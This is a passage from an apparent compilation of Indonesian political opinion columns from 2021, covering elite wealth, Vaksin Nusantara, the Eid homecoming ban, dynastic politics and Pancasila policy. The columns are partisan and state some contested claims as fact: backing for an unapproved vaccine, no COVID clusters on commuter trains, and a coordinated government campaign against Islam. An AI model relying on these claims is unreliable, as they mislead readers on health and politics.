belakangan ini menambah kekayaan berkat posisi sebagai Wapres dua periode. Pejabat yang tak kalah kaya raya adalah Luhut Binsar Pandjaitan (LBP). Dalam LHKPN per 13 Mei 2018, kekayaan Luhut mencapai Rp 665 miliar. Ada banyak properti dan bentuk lainnya. Uang tunai saja dilaporkan sebesar Rp 151 miliar. Kekayaan LBP juga tidak mengherankan. Dia adalah penguasa dan pengusaha tambang batubara. Selanjutnya, kita lihat kekayaan para taipan. Majalah Forbes, media yang khusus mengamati kekayaan para taipan, belum lama ini menebitkan klasemen orang terkaya di dunia. Ada 15 taipan Indonesia yang memiliki total kekayaan hampir US$ 72 miliar atau setara Rp 1,041 (seribu empat puluh satu) triliun. Abang-beradik Budi Hartono dan Michael Hartono (Group Djarum) punya kombinasi kekayaan sebesar US$ 40 miliar atau setara dengan Rp 580 triliun. Mereka ini terkaya nomor 1 dan nomor 2 di Indonesia. Prajogo Pangestu orang terkaya nomor 3 dengan nilai US$6.5 miliar (Rp 94 triliun). Kemudian ada Chairul Tanjung di nomor 5 dengan kekayaan US$ 4.8 miliar (Rp 70 triliun). Mengapa angka-angka ini harus dituliskan di sini? Tidak lain karena jumlah kekayaan adalah cara yang paling mudah untuk mengukur kepancasilaan seseorang. Misalnya, dari sini kita bisa bertanya apakah orang-orang yang superkaya itu sempat memikirkan nilai-nilai luhur Pancasila? Apakah ketika mereka membicarakan efisiensi usaha, peningkatan laba, cara memperkecil pajak, cara merebut lahan rakyat, cara mendapatkan konsesi tambang, akan teringat pada nilai-nilai Pancasila? Apakah nilai-nilai Pancasila akan menghalangi ketamakan, kerakusan, dan kesewenangan mereka? Hampir pasti omong kosong. Ini yang pertama. Yang kedua, dengan menyebutkan jumlah kekayaan para elit kekuasaan dan para taipan tersebut, kita menjadi semakin mengerti tentang jurang kaya-miskin. Kita bisa paham bahwa distribusi kekayaan masih sangat jauh dari garis keadilan. Kita pun menjadi tahu bahwa “keadilan sosial bagi seluruh rakyat” (sila ke-5) hanyalah untuk “make-up” pidato para penguasa. Sebagai basa-basi ketika moncong mereka menyampakan kata sambutan. Yang ketiga, angka-angka fantastis kekayaan para elit kekuasaan dan para taipan itu menunjukkan bahwa yang sesungguhnya yang berpancasila adalah rakyat di tingkat grass-root (akar rumput). Tidak diragukan lagi. Bukan mereka, para penguasa dan taipan yang menumpuk harta kekayaan. Yang keempat, angka-angka edan itu memberikan isyarat kepada Anda --rakyat pemilik negara ini-- bahwa kerakusan elit kekuasaan dan elit bisnis tidak akan pernah berubah. Rakyatlah yang harus mengubah itu. Rakyatlah yang harus bangkit mengoreksi kesewenangan dan ketidakadilan itu. Tinggal Anda pilih bagaimana cara mengoreksi. Ada cara pelan, ada cara cepat. Sepotong-sepotong atau komprehensif. Jangan harapkan mereka akan berlaku adil sesuai amanat Pancasila. **

Vaksin Nusantara, TNI Itu Bernafas Saja Mikirin Rakyat (Bagian-2)

Apakah tim dokter Kepresidenan akan membunuh saya? Saya yakin tim dokter Kepresidenan tidak akan membunuh saya. Selain karena etika kedoteran, juga nasionalisme dokter Indonesia saya yakini sangat tinngi. Kalau begitu, apapun hasilnya, silahkan tim dokter Indonesia saja yang merawat saya di dalam negeri. Kalau saya sebagai Presiden tak percaya dengan kehebatan dokter Indonesia, lalu siapa yang diharapkan percaya dengan kemampuan dan kehebatan dokter kita? (Presiden Soehato menjawab tim dokter Kepresidenan yang menyarankan agar berobat ke luar negeri). Berpikir dan bertindak itu berbeda. Itu juga yang ditujukan oleh Chuina. Ben Chu dalam bukunya “Chines Whispers”. Buku yang bercerita tentang “Membongkar Mitos Tentang China” yang diterbitkan oleh Gramedia Pustaka Utama, tahun 2013. Buku ini menyajikan isu-isu kunci dalam kisah sukses China mutakhir. Chu menulis ruang pesta Dorchester yang dipenuhi oleh para eksekutif bisnis, bankir dan politikus, tulis Ben Chu, editor ekonomi harian independen. Ben Chu melanjutkan, Duta besar China untuk Court of St. James (di Inngris) Liu Xiaoming hadir. Begitu dengan rekan Amerikanya, Louise Susman. Acara tersebut adalah makan malam resmi di tempat ternama Park Lane Hotel untuk merayakan tahun imlek tahun 2011. Tuan rumahnya adalah 48 Group, sebuabn organisasi yang membantu perkembangan perdaganan China. Stephen Perry, pemimpin dari Group 48 naik ke podium. Perry memuji kemajuan perekonomian China setinggi langit. Itu memang benar adanya. Perry juga menyampaikan kalau para pemimpin China adalah pengatur ekonomi paling bijaksana. Masyarakat China adalah werga paling giat di planet ini. Sekarang, ucapnya, kita memasuki era China sebagai pemimpin. Lebih jauh Ben Chu menulis seraya mengutip penilaian para bankir. Kata Chu menurut Stephen Roach, mantan pemimpin raksasa perbankan Wall Street, Morgan Stanley untuk wilayah Asia, China bisa berhasil karena membuat kebijakan memperhitungkan efek jangka panjang. China, katanya, menempuh jalur berbeda dari perekonomian Barat yang sudah maju. Dani Rodrich dari Universitas Harvard disisi lain mengatakan China makmur karena para pemimpinnya memiliki “kepercayaan diri untuk tidak ikut-ikutan cetak biru negara lain. Tidak mengekor dengan cara kerja negara lain. Tampil percaya diri dengan kemampuan sendiri. Bangga dengan produk-produk yang dihasilkan sendiri. Sedangkan Kishore Mahbubani, dekan dan professor dalam Practice of Public Policy dari Lee Kuan Yew School of Public Policy di National University of Singapore, yang juga mantan duta Besar Singapura untuk PBB, dalam bukunya Asia Hemisfer Baru Dunia diterbitkan oleh Penerbit Buku Kompas tahun 2011, berbicara tentang para pembaru China mutahkhir, dan sikap pemerintah terhadap mereka. Edwar Tiam, tulis Kishore, merupakan salah satu contoh terbaik pengaruh peran eksekutif China didikan Amerika. Setelah meraih gelar PhD di bidang ekologi di Texas University, Edwar Tiam mulai mencari pengalaman di perusahaan berteknologi tinggi di Texas. Tiam sukses belajar teknologi di Texas. Keberhasilan Tiam diketahui oleh pemerintah Cina. Pemerintah China mulai merekrut Tiam untuk menjadi CEO dari China Netcom. Perusahaan kecil telekomunikasi yang baru mulai, dan berbasis di Beijing. Pada tahun 2002, China Netcom merger dengan perusahaaan besar China Telcom, sebuah perusahaan milik negara, untuk kemudian menjadi perusahaan berskala raksasa. Tiam dipercaya sebagai Presiden Direkturnya. Tiam lalu mengonstruksi tulang belakang jaringan maya China modern. Baik itu untuk perushaan-perusahaan tingkat nasional, maupun pemerintah-pemerintah provinsi. Tiam dan timnya berhasil membangun lebih dari 1.000 jaringan. Tiam kemudian diakui sebagai enterpreneur berkelas dunia di acara World Economic Forum. Masih terdapat begitu banyak kisah sukses yang dihadirkan oleh Kishor. Semuanya menggambarkan kesuksesan itu digerakan oleh orang-orang yang memiliki cara pandang berbeda. Memiliki keberanian mengambil langkah lain yang tidak biasa. Bukan mengekor bebek kepada produk negara lain. Mereka inilah yang menarik China berjaya di percaturan Internasional hari ini. Sayangnya semua itu tidak dapat disajikan secara detail pada ruang terbatas ini. Kita hanya dapat berkata secara sederhana tentang semua itu, bahwa kemajuan itu pekerjaan asli orang berotak cerdas. Memiliki keberanian melihat dunia secara berbeda. Mengambil langkah berani, yang orang-orang bodoh dan tolol menganggap konyol”. Persis seperti hari-hari ini, sebagian dari kita menganggap remeh kehebatan dokter-dokter di RSPAD Gatot Subroto. Perwira-perwira TNI yang hebat, top markotop berani memprakarsai Vaksin Nusantara. Mereka yang sama seperti TNI yang lain, selalu resah, karena setiap denyut nafasnya itu mikirin rakyat. Namun dianggap skeptis oleh sebagian anak bangsa. Ini benar-benar aneh, konyol, tolol dan bodoh. Di atas itu yang paling patut untuk disalahkan adalah Yang Mulia Presiden Joko Widodo. Mengapa anda diam saja tuan Presiden soal Vaksin Nusantara ini? Tidakkah anda tuan Presiden telah begitu sering merangsang rakyat mencintai produk Indonesia? Bukankah anda tuan Presiden juga yang mendorong rakyat untuk membenci produk luar negeri? Sekali lagi, mengapa anda diam saja dalam kasus ini? Apakah anda tuan Presiden tidak tahu kalau bangsa-bangsa di dunia berlomba menguasai dunia dengan temuan-temuan baru? Lupakah kalau tuan Presiden yang menyarankan anak bangsa ini untuk menyesuaikan diri dengan kemajuan tekonogi for foint jero? Tuan Presiden Jokowi, mohon maaf, anda payah, dan kelas rendahan dalam soal ini. Apa anda tuan Presiden tidak tahu Vaksin Nusantara itu dikembangkan oleh dokter-dokter di RSPAD Gatot Subroto? Mengapa anda tidak bersuara? Apakah mereka dokter-dokter itu salah? Apakah anda tidak mampu untuk menyalahkan mereka? Atau sebaliknya mendukung mereka? Mengapa anda tuan Presiden membiarkan mereka sendiri untuk berjibaku menghadapi sanggahan sebagian masyarakat? Apakah anda tuan Presiden tidak tahu bahwa kebersilan dan kesucian jiwa mereka justru ikut mengangkat derajat bangsa yang anda pimpin ini? Ada alasan yang cukup untuk mengatakan Vaksin Nusantara, yang prakarsanya datang dari dokter-dokter TNI itu, mendapat otorisasi oleh atasan mereka.. Apa anda tuan Presiden sengaja membiarkan atau memojokan TNI atas masalah ini? Kalau begitu sikap anda, mengapa anda Tuan Presiden tidak memerintahkan Kapolri Sigit, yang pernah jadi ajudan anda itu memeriksa para dokter itu? Anda tuan Presiden dapat menggunakan alasan bahwa dokter-dokter itu mengembangkan obat illegal? Sehingga ada cukup alasan Polisi, melalui Bareskrim Polri meminta tanggung jawab pidana kepada mereka? Kalau tidak memiliki keberanian itu, sebaiknya anda segera mengeluarkan pernyataan jelas dan tegas bahwa anda sepenuhnya berada dibelakang dokter-dokter TNI itu. Jangan biarkan mereka dokter-dokter TNI sendirian saat bernafar saja memikirkan nasib rakyat yang menjadi ibu kandungnya. Bergandengan tangan dengan mereka. Berjalanlah bersama-sama dengan dokter-dokter TNI itu melanjutkan Vaksin Nusantara. Insya Allaah bisa memghemat devisa negara U$ 3,5 milir dollar hanya untuk mengekspor Vaksin Sinovac Cina senilai Rp. 50 trilun dari APBN. Caranya sederhana saja tuan Presiden. Datangi itu RSPAD Gatot Subroto, dan minta agar dokter-dokter TNI itu mengambil sampel darah anda untuk kelanjutan proses penuntasan vakasin ini. Anda tidak boleh plin-plan dalam soal ini. Itu saja yang harus anda lakukan bila anda benar-benar jujur soal mencintai produk-produk Indonesia dan kemajuan bangsa Indonesia. (selesai).

Larangan Mudik dan Logika yang Jungkir Balik

LARANGAN umat Islam merayakan Hari Raya Idul Fitri di kampung halaman sudah final. Umat Islam dilarang pulang kampung pada periode 6-17 Mei 2021. Ini pelarangan kedua kalinya menimpa umat Islam setelah tahun lalu terjadi hal yang sama. Impian menyambut Hari Kemenangan bersama keluarga tercinta harus sirna. Mudik, sebuah budaya silaturahmi tahunan yang dilakukan secara massal. Ritual ini begitu menyenangkan bagi umat Islam khususnya para perantau yang puluhan tahun merindukan kampung halaman. Momen pertemuan keluarga yang lama tak bersua, terjadi sangat mengharukan, tak bisa ditukar dengan apa pun. Oleh karena itu, besarnya biaya, lamanya perjalanan dan betapa sulitnya aktivitas mudik, tetap mereka tempuh dengan sabar. Bagi sebagian muslim, mudik bahkan merupakan keharusan karena mereka tidak bisa pulang kampung setiap saat sebagaimana orang lain. Sungguh tega, jika mudik pun dilarang. Pelarangan ini juga menunjukkan ketidakadilan pemerintah bagi pemeluk Islam. Libur panjang Hari Raya Paskah bulan lalu nyatanya tidak ada larangan, demikin juga mudik untuk Hari Raya Galungam dan Kuningan, semua berjalan lancar tanpa larangan. Apa sesungguhnya yang ditakuti pemerinitah dari aktivitas mudik? Lihatlah pemudik lokal yang terjadi setiap hari di KRL Jabodetabek. Mereka berdesak-desakan setiap hari. Toh tidak ada kluster corona di KRL. Jika dibandingkan dengan aktivitas keseharian, jumlah pemudik Lebaran lebih sedikit ketimbang lalu lalang KRL setiap hari. Data PT KAI Commuter mencatat jumlah penumpang KRL Jabodetabek mencapai 1 juta penumpang setiap hari. Sejak musim pandemi dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) ketat di Jakarta, turun menjadi 400 ribu orang per hari. Sementara pergerakan aktivitas mudik hanya berkisar 2 jutaan. Pada masa liburan lebaran 15 hari, nanti bakal ada 7 juta pergerakan manusia melalui KRL. Belum lagi yang lewat motor, mobil, dan angkutan umum lainnya. Pemerintah membolehkan mudik sebelum tanggal 6 Mei dan setelah tanggal 17 Mei 2021. Tetapi apa bedanya mudik sebelum tanggal 6 Mei 2021 dengan mudik pada kurun 6-17 Mei 2021. Apakah pemerintah bisa mendeteksi virus akan bergerak pada kurun itu? Bukankah orang mudik, mereka menyebar ke kampung halaman masing-masing hingga ke pelosok desa yang minim kerumunan? Menjadi pertanyaan, apakah yang dilarang itu kerumunan di jalan raya atau kerumunan di desa-desa, di masjid dan surau? Bukankah pada Hari Raya Idul Fitri, baik yang mudik sebelum atau sesudah tanggal 6 Mei 2021 akan berkumpul di waktu yang sama, yakni 13 Mei 2021 saat Idul Fitri? Umat Islam sungguh terteror dengan kebijakam pemerintah yang tidak adil dan tidak logis ini. Maka tak heran jika KH. Múh. Najih Maimoen dari Rembang dan Habib Abu Bakar Assegaf dari Pasuruan mengirim surat terbuka kepada Presiden Jokowi agar mencabut larangan mudik dan menegur Menteri Agama yang pernyataannya selalu konbtroversial. Pengusaha transportasi juga menjerit atas kebijakan larangan mudik. Pengusaha bus antarkota antarprovinsi (AKAP) meminta agar kebijakan tersebut bisa dicabut. Larangan mudik hanya bagian kecil dari sikap tak adil pemerintah terhadap Islam. Tiga rentetan kejadian di Kemendikbud dalam satu bulan ini, patut diduga direncanakan dengan matang. Penghapusan agama dari peta jalan pendidikan nasional, penghapusan Pancasila dan Bahasa Indonesia di kurikulum perguruan tinggi dan hilangnya nama KH Hasyim Asy’ar dalam Kamus Sejarah Indonesia menunjukkan upaya penenggelaman Islam dari NKRI makin massif dan radikal. Pemerintah melindungi penghina Islam tetapi malah memenjarakan pembela Islam. Terlalu banyak contoh untuk diungkapkan. Tetapi yang paling anyar adalah penghinaan terhadap Islam dan Nabi Muhammad SAW yang dilakukan oleh pemuda Cina bernama Jozeph Paul Zhang. Paul mengaku nabi ke-26 dan dengan arogan menantang siapa pun untuk menangkapnya. Videonya telah viral di semua platform media sosial. Di saat yang sama, ikon pembela Islam, Habib Rizieq Shihab masih dikurung di penjara untuk kasus yang tak ada hubungan dengan perjuangan Islam, yang kelak bisa ditebak akan disangkutpautkan dengan perjuangan Islam. Urusan pasal sangkaan urusan mudah. Kurung dulu, cari pasal kemudian. Sebagai pemegang saham mayoritas berdirinya Negara Kesatuan Republik Indonesia (NKRI), tak selayaknya Islam diperlakukan demikian jahat. Hanya sedikit umat Islam yang daya sadar dan nalarnya berfungsi dengan baik. Mayoritas umat Islam, tidak tahu, apatis, atau cari selamat. Para pembenci Islam semakin berani dan terang-terangan melecehkan Islam seiring dengan sikap pemerintah yang terkesan lemah menghadapi minoritas radikal itu. Terbaca dengan jelas bagaimana pemerintah menampakkan keberpihakannya pada kelompok yang ingin mengobok-obok Islam. Dimulai dari bebasnya buzzer melecehkan Islam, upaya penghapusan pelajaran agama di sekolah, upaya mengganti Ketuhanan Yang Mahaesa dengan Ketuhanan Yang Bekebudayaan, upaya mengganti Assamualaikum dengan Salam Pancasila, memilah-milah penganut Islam di BUMN dan ASN, serta selalu mengaitkan terorisme dengan Islam. Di kalangan anak muda sekarang banyak yang suka berteori bahwa Islam tidak perlu dibela. Doktrin ini menunjukkan suksesnya kaum pembenci Islam menjauhkan anak muda dari agamanya. Ini bukti pendangkalan akidah telah suskes menyerang generasi penerus bangsa. Pemerintah yang seharusnya bertanggungjawab dan ikut menjaga akhlak generasi muda, terkesan abai dan melakukan pembiaran. Pemerintah membiarkan Menteri Agama berakrobat menyentil isu isu sensitif Islam. Menteri Agama bukan berada di pihak yang netral dalam menjalankan tugas, tetapi justru menjadi pembela utama minoritas. Demikian juga dengan Mendikbud Nadiem Makarim yang sejak awal ditunjuknya telah menimbulkan polemik, terus saja melakukan uji coba untuk menjauhkan Islam dari pendidikan nasional. Dalam waktu yang hampir bersamaan Ketua Umum PKB Muhaimin Iskandar menyebut PKB mempunyai kesamaan dengan Partai Komunis China. Hal ini Cak Imin sampaikan saat menerima kunjungan Dubes Cina untuk Indonesia Xiao Qian di kantor DPP PKB, Jakarta Pusat Senin (19/04/2021). Umat Islam diserang dan digencet dari segala arah. Dari medsos, dari internal pemerintah, dari partai politik, dan dari buzzer. Serangan mereka lakukan dengan pola yang hampir sama, terstruktur, masif dan radikal. Di luar mereka, hanya sedikit yang berani melawan, sebab yang berani protes langsung dicap anti-NKRI, kadrun dan pejuang khilafah. Akhirnya yang tersisa manusia-manusia munafik, apatis, dan cari selamat di dunia. Situasi ini dimanfaatkan komunis untuk menguasainya.

Cintai Produk Lokal, Amandemen UUD ‘45 Lahirkan Politik Dinasti (Bagian-3).

Mayjen TNI (Purn.) Prijanto Jakarta FNN - Kita telah bicarakan keelokan dan kecantikan Sistem Pemerintahan Pancasila dibanding Sistem Pemerintahan Presidensial di artikel ke-1. Di artikel ke-2, kita bandingkan praktek Demokrasi Pancasila dengan Demokrasi Liberal yang individualistis sehingga berakibat terbelahnya persatuan bangsa Indonesia. Baca: https://rmol.id/read/2021/04/09/482760/boleh-kaget-tapi-jangan-masa-bodoh-1-cintai-produk-lokal-kenapa-import-presidensial Baca: https://fnn.co.id/2021/4/16/cintai-produk-lokal-kenapa-import-demokrasi-individual-bagian-2/ Artikel ke-3 ini sebagai lanjutannya, yang akan mengupas pendapat JA di artikel sebelumnya. Dimana JA, yang pakar HTN dan mantan pejabat negara itu berpendapat, setelah 75 tahun merdeka justru yang bangkrut politik dinasti. Benarkah sinyalemen ini? Penulis ragu dengan pendapat JA. Biasanya, identifikasi JA terhadap perkembangan di masyarakat akurat. JA mengkritisi sebelum reformasi, demokrasi kita berbau budaya feodal. Artinya, pergantian pejabat seperti tradisi kerajaan, yang turun menurun, layaknya “politik dinasti”. Penulis menangkap penjelasan JA, stigma itu harus dikikis, direformasi melalui Sistem Presidensial dengan Demokrasi Liberalnya. Persoalannya, apakah demokrasi sebelum reformasi layak disebut sebagai budaya feodal? Penulis berpendapat tidak tepat. Pemilihan pejabat masa lalu, walau dilakukan dengan sistem musyawarah-perwakilan, di MPR dan DPRD, hak konstitusi rakyat berjalan wajar dan benar, sesuai konstitusi. Kandidat pejabat yang ikut pemilihan, memiliki rekam jejak dan profesionalisme yang jelas. Memiliki dan memenuhi kreteria kompetensi leadership dan manajerial yang dipersyaratkan. Umumnya para kandidat dikenal dan terkenal di masyarakat. tidak muncul tiba-tiba. Tanpa polesan dari lembaga survei. Penulis pernah bincang-bincang dengan Dra. Mia Syabarniati Dewi, seorang psikolog, sebagai konsultan assesment pejabat. Pembicaraan seputar kualitas kepemimpinan pejabat publik dan pejabat negara paska reformasi. Melalui pengamatan atau penilaian pribadinya, ditambah berbagai macam berita dari media dan pendapat masyarakat, Mia memiliki dua sinyalemen. Pertama, ​pembangunan karakter kader pemimpin nyaris tidak tampak setelah reformasi. Calon-calon pemimpin yang diusung dalam pemilihan nyaris jenjang pengalamannya tidak jelas. Namun, tiba-tiba bisa muncul sebagai kandidat. Kedua, ​akibat tersebut di atas, figur pemimpin pada semua tingkat, walau tidak semua, kualitasnya memprihatinkan akibat ikut campur pemilik modal dalam rekrutmen. Penulis sependapat dengan dua sinyalemen Mia Syabarniati tersebut. Sebagaimana berita di media, lebih lanjut Mia juga melihat fenomena yang terjadi antara lain. Pertama, adanya krisis etika para elite, walau tidak semua. Kedua, adanya krisis hukum. Ketiga, adanya krisis ketidakpercyaan antar elite. Keempat, adanya krisis ketidakpercayaan di kalangan masyarakat. Semua persoalan kepemimpinan di atas, tidak bisa lepas dari persoalan rekrutmen yang didasari oleh Demokrasi Liberal. Demokrasi dengan pemilihan secara langsung yang individualistis. Siapa yang kuat, berduit, menguasai kekuasaan, dialah pengendali dan pemenang. Patut dinilai, sistem inilah yang membuat pemodal atau kapitalis bisa mendikte sesuai keinginannya. Hati dan pikiran penulis berkata, tampaknya pemodal tidak mengutamakan keunggulan kompetensi leadership dan menajerial. Mereka mengutamakan orang yang bisa dipengaruhi atau diajak kerja sama. Karena itulah, banyak tokoh yang mengatakan, orang yang mumpuni dalam segala hal sulit menjadi pemimpin, karena umumnya mereka sulit dipengaruhi, sehingga pemodal tidak tertarik memilihnya sebagai “ayam jago”. Akibatnya, menjamurlah politik dinasti paska amandemen UUD 1945. Ibaratnya, bapak, istri, anak, menantu, besan, dan kerabat lainnya maju menjadi kandidat. Dinasti politik tidak saja terjadi di pemerintahan, tampaknya juga terjadi di Partai Politik. Apakah para kandidat keluar biaya yang sangat besar tersebut? Tidak. Patut diduga para cukong atau pemodal yang mengongkosi. Apa akibatnya? Kandidat yang terpilih, jelas berhutang budi. Menjamurnya politik dinasti tersebut ditengarai oleh kandidat Doktor Ilmu Politik Universitas Northwestern, Amerika Serikat, Yoes C. Wenas, yang menyatakan fenomena dinasti politik meningkat tajam di Pilkada 2020 dibanding 2015. Pada 2015 ada 52 peserta Pilkada dan di Pilkada 2020 ada 158 calon. (CNN Indonesia, 17/12/2020) Walaupun pemilihan pejabat sebelum reformasi, dikritisi sebagai demokrasi berbau budaya feodal. Sehingga dilakukan reformasi untuk mengikis tradisi budaya tersebut. Namun dalam kenyataannya terbalik. Justru setelah 75 tahun merdeka, ketika digunakan demokrasi yang indiviualistis, dinasti politik subur menjamur seperti jamur tumbuh di musim hujan. Masalahnya bukan berhenti di persoalan kedinastian politik saja. Tetapi juga merembet ke persoalan kualitas pemimpin. Seperti sinyalemen Mia Syabaniati, persoalan integritas, berpikir strategis, kepemimpinan, kemampuan ambil keputusan, berkomunikasi, membangun persatuan dan pemberdayaan masyarakat, nyaris tidak tampak. Mengapa faktor-faktor penting yang seharusnya dimiliki pemimpin nyaris tidak tampak? Karena ketika pemilihan calon tidak melalui “saringan” yang sesuai kebutuhan. Sumber calon tampaknya juga tidak melakukan pembangunan kader pimpinan. Kalau pun ada kursus, sampai dimana bobot kursus tersebut mampu mengisi kebutuhan? Ironisnya, kandidat yang maju sering-sering juga belum pernah kursus, diakibatkan adanya politik dinasti atau nepotisme. Pengalaman dan seingat penulis, pemilihan calon Taruna Akademi Militer, melalui sistem saringan yang mengukur aspek ilmu pengetahuan, kesehatan badan dan kesemaptaan jasmani serta kesehatan jiwa dan psikometri. Melewati saringan ini, akan diketahui tingkat ilmu pengetahuannya, kesehatan dan kesemaptaan jasmaninya, kesehatan jiwa dan dimensi kepribadiannya seperti aspek berpikir, emosi, motivasi dan nilai-nilai dari visi hidupnya. Idealnya, untuk mendapat calon anggota dewan dan calon pemimpin publik dan pejabat negara, seyogyanya juga melalui sistem saringan yang mampu mengukur aspek-aspek di atas. Melalui saringan yang ketat, kita akan memperoleh calon pemimpin yang berkualitas sebelum masuk arena pemilihan. Sehingga jika terpilih, diharapkan bisa menjadi pemimpin berkualitas Untuk itu, diperlukan saringan kombinasi metode “Assessment Center dengan Psychological Assessment”. Saringan ini mampu mengungkap kompetensi yang sudah aktual pada diri seseorang, juga dapat mendeteksi “underlying factors” seperti karakter, sikap, intelegensia dan motif sebagai predisposisi sesorang dalam bertindak dan berperilaku tertentu, kata Dra. Mia Syabarniati Persoalan rekrutmen dan kualitas pemimpin di atas memiliki korelasi dengan hasil penelitian Lembaga Ilmu Pengetahuan Indonesia (LIPI). Asiah Putri Budiarti, Peneliti Pusat Kajian Politik LIPI terkait Pilkada serentak 2020 mengatakan, Pemilu tahun ini menunjukkan kegagalan Parpol dalam merekrut calon Kepala Daerah berdasarkan kader internal partai. (Gatra.com, 09/12/2020). Gambaran tentang dampak buruk Sistem Permerintahan Presidensial dan Demokrasi Liberal, sehingga membelah persatuan Indonesia. Menjamurnya politik dinasti dan kualitas pemimpin yang sangat memprihatinkan di atas, semua itu disebabkan amandemen UUD 1945 yang melahirkan Demokrasi Liberal dan Presidensial ala Amerika. Apakah akan kita tetap pertahankan? Apa dasar MPR melakukan amandemen yang menghasilkan UUD 2002? Jawaban umum dari pengamandemen, Bab XVI Pasal 37 UUD 1945 sebagai dasar. Ditinjau dari sisi hasil amandemen, tepatkah penggunaan Pasal 37 UUD 1945 sebagai dasar amandemen UUD 1945? Untuk menguji kebenaran jawaban, akan dibahas dalam artikel lanjutan ke-4. Sesungguhnya, apa makna Pasal 37 UUD 1945 yang dimaksud oleh “Founding fathers” saat menyusun dan menetapkan UUD 1945? Selamat membaca, semoga paham. Insya Allah, aamiin. (bersambung). Panulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Masih Pentingkah Pancasila Itu Untuk Jokowi?

by M. Rizal Fadillah Bandung FNN – Gonjang-ganjing soal Peraturan Pemerintah (PP) Nomor 57 Tahun 2021 tentang Standar Nasional Pendidikanyang menghilangkan Pancasila dan Bahasa Indonesia dari kurikulum dasar menengah dan tinggi menyengat Menteri Nadiem dan Jokowi. Sejak awal Menteri Pendidikan Nadiem Makarim memang gagal memimpin Kementrian Pendidikan dengan baik. Nadiem memang sangat inkompeten dengan dunia pendidikan. Suksesnya usaha gojek Nadiem tidak serta-merta bisa ditransformasikan pada dunia akademik berdimensi panjang untuk mencetak dan memproduksi orang-orang cerdas. Ada soal-soal yang sangat bersentuhan ideologi, nasionalisme, dan agama di sana. Ternyata disinilah titik lemahny Nadiem. Presiden Jokowi sejak diramaikan Rancangan Undang-Undang Haluan Idelogi Pancasila (RUU HIP) yang dilanjutkan dengan RUU Badan Pembinaan Idelogi Pancasila (RUU BPIP) juga mingkem. Padahal dalam RUU ini, pposisi Pancasila sangat terancam. Penggerusan dari nilai-nilai Pancasila yang ditetapkan 18 Agustus 1945 mendapat kritik dan perlawanan tajam dari rakyat. Penggantian dengan dari RUU HIP menjadi RUU BPIP belum menjawab keraguan masyarakat tentang ancaman terhadap esksistensi Pancasila 18 Agustus 1945. Kelembagaan BPIP sendiri terkaget-kaget saat diterbitkan PP Nomor 57 Tahun 20221 yang mengeliminir mata kuliah utama Pancasila tersebut. Di sisi lain RUU BPIP menyimpan misteri yang diduga masih mengandung "hidden agenda". Kepekaan ideologis Presiden Jokowi memang terlihat lemah. Hanya bisanya “teriak sana, teiak sini saya Pancasila”. Jadinya wajar jika publik ragu dengan pandangan Jokowi tentang penting atau tidak Pancasila. Lebih banyak basa-basi. Rezimnya Jokowi materialistik dan pragmatik. Terlalu berorientasi pada investasi dan hutang luar negeri. Pada era pandemi paradigma ini mengalami kemandegan serius. Beban negara sangat berat sehingga dapat membawa Indonesia menjadi negara gagal. Tinda-tanda Indonesia mengarah ke arah negara gagal itu menganga di depan mata. Yang paling menonjol adalah persatuan kebangsaan kita yang rapuh. Akibat dari adanya upaya-upaya tersembunyi untuk mengganti Pancasila 18 Agustus 1945 dengan Pancasila 1 Juni 1945, yaitu Trisila dan Ekasila. Semestinya disaat genting, Presiden memacu keyakinan ideologis secara lebih terbuka dan partisipatif. Pancasila harus didinamisasi sebagai katalisator berbangsa dan bernegara. Sebenarnya tak perlu diajari lagi soal ini. Kecuali kalau Presiden Jokowi memang tidak paham soal ini. Namun lagi-lagi ini blunder untuk ke sekian kalinya. Nampaknya kepekaan yang lemah ini menyebabkan sorotan tajam pada produk PP Nomor 57 Tahun 2021 yang ditandatangani Presiden Jokowi. Setelah diketahui, barulah ribut soal revisi yang tentu tak bisa sekedar berargumen "salah ketik atau lupa". Bisa juga "i don't read what i sign" terhadap sebuah Peraturan sepenting ini. Banyak ahli bergaji besar di lingkaran Presiden. Ataukah istana telah berubah menjadi tempat kongkow-kongkow warung kopi yang tak mampu memproduk kebijakan bermutu dan disukai rakyat? Di tengah misi menuju Pancasila Trisila dan Ekasila pun masih dibenturkan dengan soal-soal Agama. Akibatnya rakyat, khusunya umat Islam kini semakin waspada. Ada tafsir mendewakan budaya tanpa berbasis moral dan historika. Kasus PP Nomor 57 Tahun 2021 mungkin hanya tes politik saja untuk mengukur reaksi publik. Toh Presiden tetap memegang kendali. Pak Jokowi, berdiri dan pidatolah di mimbar Istana Negara itu tentang masih pentingnya Pancasila 18 Agustus 1945 tersebut. Ingatkan rakyat bahwa radikalisme paling nyata kini adalah sekularisasi, ideologi orde lama, serta komunisme yang terus bergerak dan menyusup ke semua sendi kehidupan berbangsa dan bernegara kita dengan senyap. Paham komunis dan Partai Komunis Indonesia (PKI) tidak boleh diabaikan atau dianggap tidak ada. Jangan biarkan mereka mengisi fikiran para buzzer di istana. Sebab kelak Presiden semakin tersandera. Lalu, Pancasila dalam bahaya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jokowi Jangan Seperti Kapten Kapal Titanic

by Bambang Tjuk Winarno Madiun FNN - Busyeeettt........ seorang kawan jurnalis menilai, dalam pemerintahan negara ini yang perlu segera diganti, dan itu sebenarnya presidennya. Bukan menterinya. Dalam sehari mau ganti seribu kali menteri pun, bila presidennya tetap Jokowi (Joko Widodo), Indonesia tidak akan menjadi besar, kuat, berdaulat, bermartabat, tangguh, disegani dan mandiri. Sebab semua itu cuma bayangan semu. Omongan kawan jurnalis itu menanggapi kabar angin yang belakangan deras mendesir, terkait isu reshuffle kabinet di sejumlah pos kementerian. Kabar tersebut, secara manusiawi, sudah barang tentu menimbulkan sport jantung bagi anggota kabinet. Terlebih bagi menteri oportunis, yang keberadaannya tak lebih dari cuma cari makan dan selamat. Tanpa memiliki semangat memperkokoh negara. Ali Mochtar Ngabalin, selaku Tenaga Ahli Utama Kantor Staf Kepresidenan, pun turut serta ambil bicara merepresentasikan sebagai orang Istana. Dia bilang, dalam minggu-minggu ini memang segera akan dilakukan reshuffle sejumlah menteri. Para menteri mulia bertanya-tanya, “duh kira-kira gue kena geser Pak Jokowi nggak nih ya”? Kira-kira begitu lamunannya saban hari. Tak pelak, Menristek Bambang Brojonegoro sempat bicara di sejumlah media massa. Dirinya pamit dan mungkin statemennya itu menjadi yang terakhir kalinya sebagai menteri. Itu dilakukan setelah mendengar kabar adanya penggabungan dua lembaga 